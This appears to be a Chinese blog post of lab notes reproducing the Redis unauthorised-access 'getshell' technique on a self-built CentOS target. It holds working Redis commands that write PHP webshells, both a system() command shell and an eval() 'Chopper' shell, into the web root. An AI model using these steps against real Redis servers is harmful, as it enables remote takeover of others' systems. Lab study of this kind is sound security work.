《Redis未授權訪問getshell》復現筆記(一)

《Redis未授權訪問getshell》復現筆記(一)

利用週末復現了一下Redis未授權訪問getshell,期間遇到了一些坑,雖然結果沒什麼懸念,卻花費了不少時間,故將過程詳細記錄,留給有需要的人。此貼僅供新手參考,大佬勿噴。

一、 環境介紹

靶機:CentOS 6.5 (點擊下載) IP:192.168.17.140

攻擊機:Win10(本機) IP:192.168.8.195

二、 環境搭建

1、 搭建web服務

這裏我用的是phpStudy for Linux (lnmp+lamp一鍵安裝包)
安裝:

wget -c http://lamp.phpstudy.net/phpstudy.bin #獲取文件
chmod +x phpstudy.bin    #權限設置
./phpstudy.bin     #運行安裝

等待大約十幾分鍾安裝完成。
在這裏插入圖片描述
我們訪問http://192.168.17.140/看一下,如圖所示,說明成功開啓Web服務。
在這裏插入圖片描述
PS:
phpStudy for Linux使用說明:
默認網站根目錄:/phpstudy/www
服務進程管理:phpstudy (start|stop|restart|uninstall)
站點主機管理:phpstudy (add|del|list)
ftpd用戶管理:phpstudy ftp (add|del|list)

2、 啓動Redis服務
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzvf redis-2.8.17.tar.gz  #解壓安裝包

在這裏插入圖片描述

cd redis-2.8.17  # 進入redis目錄

在這裏插入圖片描述

make #編譯

在這裏插入圖片描述

cd src/ #進入src目錄 
cp redis-server /usr/bin/ 
cp redis-cli /usr/bin/      #將redis-server和redis-cli拷貝到/usr/bin目錄下
cd ..   # 返回上一級目錄
cp redis.conf /etc/     #將redis.conf拷貝到/etc/目錄下
redis-server /etc/redis.conf  # 使用/etc/目錄下的redis.conf文件中的配置啓動redis服務

在這裏插入圖片描述
這裏出現了一個警告,
我們按照提示操作:

vim /etc/sysctl.conf  #編輯/etc/sysctl.conf文件

在底部添加:

vm.overcommit_memory = 1
reboot #重啓

輸入命令

sysctl vm.overcommit_memory=1

在這裏插入圖片描述

在這裏插入圖片描述
重新啓動Redis服務,警告消失。

三、 漏洞復現

爲了便於操作,我們首先要在CentOS上安裝screen。
使用:yum install -y screen
在這裏插入圖片描述
這裏介紹一下使用screen命令,主要有兩個優點:
1、 對Linux類服務器維護經常是通過ssh完成的。而有些操作比較費時,如更新程序等,此時如果斷開ssh連接的話,更新程序就會隨之被中斷。使用screen命令可以保證斷開ssh後仍舊能保持更新進程的運行。
2、 可以通過一個SSH session使用多個shell窗口
關於screen的用法這裏不細說,只說一下本實驗中的操作。

screen  #啓動screen
redis-server /etc/redis.conf  # 使用/etc/目錄下的redis.conf文件中的配置啓動redis服務

Ctrl + a

d
暫時離開當前session,將目前的 screen session (可能含有多個 windows) 丟到後臺執行,並會回到還沒進 screen 時的狀態,此時在 screen session 裏,每個 window 內運行的 process (無論是前臺/後臺)都在繼續執行,即使 logout 也不影響。

接下來我們在攻擊機上安裝RedisClient。
圖形化工具(點擊下載):
在這裏插入圖片描述
命令行工具(點擊下載):
在這裏插入圖片描述

下載好客戶端以後,使用Redis Clinet直接空口令連接Redis Server。
在這裏插入圖片描述
成功連接:
在這裏插入圖片描述
打開“控制檯”:
在這裏插入圖片描述
把phpinfo寫入/phpstudy/www/目錄下:

config set dir /phpstudy/www/
config set dbfilename test.php
set webshell "<?php phpinfo(); ?>"
save

在這裏插入圖片描述
訪問:http://192.168.17.140/test.php
在這裏插入圖片描述
用同樣的方法寫入shell:

config set dir /phpstudy/www/
config set dbfilename test1.php
set webshell "<?php system($_REQUEST['cmd']);?> "
save

在這裏插入圖片描述
寫入菜刀馬:

config set dir /phpstudy/www/
config set dbfilename test2.php
set webshell "<?php @eval($_POST['cmd']);?>"
save

在這裏插入圖片描述
最後我們看一下這幾個文件的內容:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章